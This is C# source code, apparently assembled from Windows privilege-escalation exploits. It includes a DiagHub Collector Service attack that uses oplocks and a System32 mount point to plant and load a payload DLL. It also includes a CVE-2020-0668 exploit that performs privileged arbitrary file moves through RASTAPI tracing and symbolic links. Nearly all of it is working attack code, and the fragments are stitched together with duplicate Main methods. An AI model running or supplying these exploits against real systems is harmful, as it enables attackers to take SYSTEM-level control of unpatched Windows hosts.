private static bool CreateMountPoint(string path, out string redirectedPath) { redirectedPath = null; try { DirectoryInfo to = Directory.GetParent(path); string filename = Path.GetFileName(path); if (to == null) { return(false); } DirectoryInfo from = Directory.CreateDirectory(Path.GetTempPath() + System.Guid.NewGuid().ToString()); if (from == null) { return(false); } Log("Creating mount point: " + from.FullName + " -> " + to.FullName); NtFile.CreateMountPoint("\\??\\" + from.FullName, "\\??\\" + to.FullName, null); redirectedPath = Path.Combine(from.FullName, filename); Log("Target path is now " + redirectedPath); } catch { return(false); } return(true); }
public static void Main(string[] args) { if (!File.Exists("Payload.dll")) { Console.WriteLine("Put Payload.dll in current directory"); return; } NtFile ntFile; var sessionId = Guid.NewGuid(); var bytes = File.ReadAllBytes("Payload.dll"); // F12 = Developer Tools in IE/Edge, which also uses DiagHub Collector Service for profiling // This can be any user-writable folder though var scratch = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler"; Console.WriteLine("[-] Creating scratch directory"); if (!Directory.Exists(scratch)) { Directory.CreateDirectory(scratch); } // Create sessions config with sessionId, procId, and scratch location var procId = Process.GetCurrentProcess().Id; var sessionConfiguration = new SessionConfiguration { ClientLocale = (ushort)CultureInfo.InvariantCulture.LCID, CollectorScratch = scratch, Location = CollectionLocation.Local, Flags = SessionConfigurationFlags.None, LifetimeMonitorProcessId = (uint)procId, SessionId = sessionId, Type = CollectionType.Etw }; // Use the default collector agent: {E485D7A9-C21B-4903-892E-303C10906F6E} DiagnosticsHub.StandardCollector.Runtime.dll var agents = new Dictionary <Guid, string> { { DefaultAgent.Clsid, DefaultAgent.AssemblyName } }; var procIds = new List <uint> { (uint)procId }; Console.WriteLine("[-] Creating instance of IStandardCollectorService"); _service = GetCollectorService(); Console.WriteLine("[-] Setting proxy blanket for service"); SetProxyBlanketForService(_service); Console.WriteLine("[-] Starting collector service session"); Start(sessionConfiguration, agents, procIds); Console.WriteLine($"[-] Getting session: {sessionId}"); var session = _service.GetSession(sessionId); Console.WriteLine("[-] Querying session state"); session.QueryState(); new Thread(() => { Thread.Sleep(500); // This helps populate the .etl file try { Console.WriteLine("[-] Getting current session result"); session.GetCurrentResult(false); // Triggers createion of merged 1.m.etl file } catch (Exception) { } }).Start(); var reportDir = $@"{scratch}\Report.{sessionId}.1"; var etlFile = $"{sessionId}.1.m.etl"; Console.WriteLine($"[-] Attempting to open {etlFile} with OpLock"); while (true) { // Get handle immediately upon service closing file try { ntFile = NtFile.Open($@"\??\{scratch}\{etlFile}", null, FileAccessRights.GenericRead | FileAccessRights.GenericWrite | FileAccessRights.MaximumAllowed | FileAccessRights.Synchronize, FileShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock | FileOpenOptions.SynchronousIoNonAlert); if (ntFile.OpenResult != FileOpenResult.Opened) { continue; } Console.WriteLine($"[+] Opened with handle: {ntFile.Handle.DangerousGetHandle()}"); break; } catch (Exception) { } } // Attempt to find the random sub-directory and then create mount point to System32 try { Console.WriteLine($"[-] Looking for sub-directories in {reportDir}"); while (true) { if (!Directory.Exists(reportDir)) { continue; } var dirs = Directory.GetDirectories(reportDir); if (dirs.Length != 1) // Very rare, but did happen during testing { throw new Exception("Didn't find exactly 1 subdirectory, try running again"); } Console.WriteLine($"[+] Found sub-directory: {dirs[0]}"); Console.WriteLine($@"[-] Creating mount point: \??\{dirs[0]} -> \??\C:\Windows\System32"); NtFile.CreateMountPoint($@"\??\{dirs[0]}", @"\??\C:\Windows\System32", null); break; } } catch (Exception ex) { Console.WriteLine($"[!] Failed to create mount point: {ex.Message}"); } // Overwrite the contents of etl file with payload DLL try { Console.WriteLine($"[-] Overwriting {etlFile} with DLL bytes"); ntFile.Write(bytes); ntFile.SetEndOfFile(bytes.Length); ntFile.Close(); } catch (Exception ex) { Console.WriteLine($"[!] Error writing bytes... {ex.Message}"); } Console.WriteLine("[-] Stopping session to trigger CopyFile"); _service.GetSession(sessionId).Stop(); // Wait a second and then check to see if file was copied Thread.Sleep(1000); if (File.Exists($@"C:\Windows\System32\{etlFile}")) { Console.WriteLine($@"[+] DLL successfully copied to C:\Windows\System32\{etlFile}"); } // Setup agents with path to copied etlFile (malicious DLL) var badAgent = new Dictionary <Guid, string> { { DefaultAgent.Clsid, DefaultAgent.AssemblyName }, { sessionId, etlFile } }; Console.WriteLine("[-] Getting new collector service"); _service = GetCollectorService(); SetProxyBlanketForService(_service); Console.WriteLine("[-] Starting session with DLL payload"); Start(sessionConfiguration, badAgent, procIds); Console.WriteLine($@"[+] All Done! Remember to delete the DLL: C:\Windows\System32\{etlFile}"); Console.ReadLine(); }
static void Main(string[] args) { if (args.Length != 2) { Console.WriteLine("Use CVE-2020-0668 to perform an arbitrary privileged file move operation."); Console.WriteLine($"Usage: inFilePath outFilePath"); return; } String inDLLPath = args[0]; String outDllPath = args[1]; if (!File.Exists(inDLLPath)) { Console.WriteLine($@"[!] Cannot find {inDLLPath}!"); return; } Console.WriteLine(String.Format("[+] Moving {0} to {1}", inDLLPath, outDllPath)); bool checkVuln = isVulnerable(); if (!checkVuln) { Console.WriteLine("[-] NOT VULNERABLE: Hotfix KB4532693 Found"); return; } else { Console.WriteLine("[+] VULNERABLE: Hotfix KB4532693 Not Found"); } String tempDirectory = GetTemporaryDirectory(); const string ObjectDirectory = @"\RPC Control"; Console.WriteLine($@"[+] Mounting {ObjectDirectory} onto {tempDirectory}"); string tempDirectoryNt = NtFileUtils.DosFileNameToNt(tempDirectory); NtFile.CreateMountPoint(tempDirectoryNt, ObjectDirectory, ""); Console.WriteLine("[+] Creating symbol links"); var logFileSymlnk = NtSymbolicLink.Create($@"{ObjectDirectory}\RASTAPI.LOG", $@"\??\{inDLLPath}"); var oldFileSymlnk = NtSymbolicLink.Create($@"{ObjectDirectory}\RASTAPI.OLD", $@"\??\{outDllPath}"); Console.WriteLine(@"[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration."); Console.WriteLine(@"[+] Sleeping for 5 seconds so the changes take effect"); UpdateRASTAPITracingConfig(tempDirectory, true, 0x1000); Thread.Sleep(5000); // might have to sleep for the update to take effect string phonebookPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".pbk"); Console.WriteLine($"[+] Writing phonebook file to {phonebookPath}"); File.WriteAllText(phonebookPath, CVE_2020_0668.Properties.Resources.Phonebook); using (Process p = new Process()) { p.StartInfo.FileName = "rasdial"; p.StartInfo.Arguments = $@"VPNTEST test test /PHONEBOOK:{phonebookPath}"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.Start(); p.WaitForExit(); } Console.WriteLine("[+] Cleaning up"); File.Delete(phonebookPath); Directory.Delete(tempDirectory, true); logFileSymlnk.Close(); oldFileSymlnk.Close(); UpdateRASTAPITracingConfig(@"%windir%\tracing", false, 0x100000); //those are the default values Console.WriteLine("[+] Done!"); }
static public void MakeMountPoint(string mountpoint) { string mountDirectoryNt = NtFileUtils.DosFileNameToNt(mountpoint); NtFile.CreateMountPoint(mountDirectoryNt, ObjectDirectory, ""); }